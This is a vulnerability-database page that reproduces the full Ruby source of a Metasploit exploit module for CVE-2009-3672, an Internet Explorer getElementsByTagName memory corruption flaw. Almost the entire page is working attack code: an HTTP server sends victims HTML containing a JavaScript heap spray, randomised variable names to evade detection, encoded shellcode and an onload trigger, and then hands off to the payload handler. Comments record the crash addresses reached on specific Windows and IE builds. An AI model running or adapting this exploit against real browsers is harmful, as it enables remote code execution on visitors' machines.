Internet Explorer Style getElementsByTagName Memory Corruption

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Internet Explorer Style getElementsByTagName Memory Corruptio

                                                ##
# $Id: ms09_072_style_object.rb 9787 2010-07-12 02:51:50Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	#
	# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
	#
	#include Msf::Exploit::Remote::BrowserAutopwn
	#autopwn_info({
	#	:ua_name    =&#62; HttpClients::IE,
	#	:ua_minver  =&#62; &#34;6.0&#34;,
	#	:ua_maxver  =&#62; &#34;7.0&#34;,
	#	:javascript =&#62; true,
	#	:os_name    =&#62; OperatingSystems::WINDOWS,
	#	:vuln_test  =&#62; nil, # no way to test without just trying it
	#	:rank       =&#62; LowRanking  # exploitable on ie7/vista
	#})

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Internet Explorer Style getElementsByTagName Memory Corruption&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a vulnerability in the getElementsByTagName function
			as implemented within Internet Explorer.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;securitylab.ir &#60;K4mr4n_st[at]yahoo.com&#62;&#39;,
					&#39;jduck&#39;
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9787 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;MSB&#39;, &#39;MS09-072&#39;],
					[&#39;CVE&#39;, &#39;2009-3672&#39;],
					[&#39;OSVDB&#39;, &#39;50622&#39;],
					[&#39;BID&#39;, &#39;37085&#39;],
					[&#39;URL&#39;, &#39;http://www.microsoft.com/technet/security/advisory/977981.mspx&#39;],
					[&#39;URL&#39;, &#39;http://taossa.com/archive/bh08sotirovdowd.pdf&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39;          =&#62; &#39;process&#39;,
					&#39;HTTP::compression&#39; =&#62; &#39;gzip&#39;,
					&#39;HTTP::chunked&#39;     =&#62; true
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1000,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
					&#39;Compat&#39;   =&#62;
						{
							&#39;ConnectionType&#39; =&#62; &#39;-find&#39;,
						},
					&#39;StackAdjustment&#39; =&#62; -3500
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Automatic&#39;, { }],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 20 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def on_request_uri(cli, request)

		# resulting eips:
		# 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)
		# 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)
		# nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)
		# 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)
		# 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)

		print_status(&#34;Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}&#34;)

		var_memory    = rand_text_alpha(rand(100) + 1)
		var_boom      = rand_text_alpha(rand(100) + 1)
		var_body      = rand_text_alpha(rand(100) + 1)
		var_unescape  = rand_text_alpha(rand(100) + 1)
		var_shellcode = rand_text_alpha(rand(100) + 1)
		var_spray     = rand_text_alpha(rand(100) + 1)
		var_start     = rand_text_alpha(rand(100) + 1)
		var_i         = rand_text_alpha(rand(100) + 1)
		var_ss        = rand_text_alpha(rand(100) + 1)
		var_fb        = rand_text_alpha(rand(100) + 1)
		var_bk        = rand_text_alpha(rand(100) + 1)

		html = %Q|&#60;!DOCTYPE&#62;
&#60;head&#62;
&#60;script language=javascript&#62;
function #{var_boom}(){ document.getElementsByTagName(&#39;STYLE&#39;)[0].outerHTML++; }
function #{var_body}(){
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( &#39;#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}&#39;);
var #{var_spray} = #{var_unescape}( &#34;%&#34; + &#34;u&#34; + &#34;0&#34; + &#34;c&#34; + &#34;0&#34; + &#34;c&#34; + &#34;%u&#34; + &#34;0&#34; + &#34;c&#34; + &#34;0&#34; + &#34;c&#34; );
var #{var_ss} = 20 + #{var_shellcode}.length;
while (#{var_spray}.length &#60; #{var_ss}) #{var_spray}+=#{var_spray};
#{var_fb} = #{var_spray}.substring(0,#{var_ss});
#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});
while(#{var_bk}.length+#{var_ss} &#60; 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};
var #{var_memory} = new Array();
for (#{var_i}=0;#{var_i}&#60;1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};
#{var_boom}();
}
&#60;/script&#62;
&#60;STYLE&#62;* { margin: 0; overflow: scroll }&#60;/STYLE&#62;
&#60;BODY ONLOAD=&#34;#{var_body}()&#34;&#62;
&#60;/body&#62;
&#60;/html&#62;
|

		# Transmit the response to the client
		send_response(cli, html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39;, &#39;Pragma&#39; =&#62; &#39;no-cache&#39; })

		# Handle the payload
		handler(cli)
	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1